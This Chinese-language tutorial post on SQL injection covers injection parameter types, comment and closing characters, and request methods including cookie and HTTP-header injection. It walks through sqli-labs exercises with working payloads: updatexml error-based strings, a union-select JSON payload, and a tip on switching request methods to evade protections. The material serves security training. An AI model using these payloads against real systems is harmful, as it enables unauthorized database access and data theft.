当前位置:   article > 正文

12.SQL漏洞-注入类型&请求方法注入_参数请求sql注入

参数请求sql注入

【参数类型】

判断注入类型

1、数字类型

select * from user where id=1

2、字符类型

select * from user where name=‘admin’
过滤’(单引号)和"(双引号)

3、搜索类型

select * from user where name like ‘%admin%’ 只要有admin都会被搜索出来
过滤%(百分号)和’(单引号)
在这里插入图片描述

4、JSON类型

★post提交方式中的一种数据交互格式
JSON格式:
json={“name”:“admin”
“age”:“18”}

$id=1 and 1=2
$sql=“SELECT * FROM users WHERE id=‘1’ and 1=2–+ LIMIT 0,1”;

注释语句

–+、# 注释掉一行
使用POST方式注入大部分用到# 用url注入大部分用到–+

#闭合
必须要将语句闭合,使注入语句生效

#SQL语句干扰符号
'(单引号),"(双引号),%(百分号),)(小括号),}(大括号) 等,具体需看写法

【请求方法】

GET、POST、COOKIE、REQUEST、HTTP头部等

GET请求传输的数据量限制在2KB左右
GET只要在url上,就能接收到请求
REQUEST请求不管是GET和POST都可以
HTTP报文头部各个参数都能注入,比如User-Agent、Cookie

tips: 切换请求方式可能达到绕过防护的效果

【演示实验】

 参数字符型注入测试 sqlilabs Less-1,2,3,4
参考:
https://blog.csdn.net/wang_624/article/details/101913584
 POST数据提交注入测试 sqliabs Less-11

post 发送 不用编码
在这里插入图片描述

 COOKIE数据提交注入测试 sqlilabs Less-20
在这里插入图片描述
报错注入;

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
  • 1

在这里插入图片描述
联合查询:
在这里插入图片描述
看样子好像没有

 HTTP头部参数数据注入测试 sqlilabs Less-18

在这里插入图片描述

ad'or updatexml(1,concat(0x7e,(database())),1) or '1'='1
  • 1

在这里插入图片描述

 参数JSON数据注入测试 https://tianchi.aliyun.com/competition/entrance/531796/information
在这里插入图片描述

json 注入

sql语句是json 格式

单引号只是说明它是字符串; { } 花括号是说明json 格式不影响 sql 语句判断

$sql="select * from users where username='{&username}' ";
  • 1
            json={"username":"admin' and 1=2 union select 1,2,3#"}        ' (单引号)闭合的是SQL语句中的 '   
  • 1

‘#’不会注释双引号
看双引号里面的内容,判断注入语句 就行了
admin’ and 1=2 union select 1,2,3#

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/269605
推荐阅读
相关标签
  

闽ICP备14008679号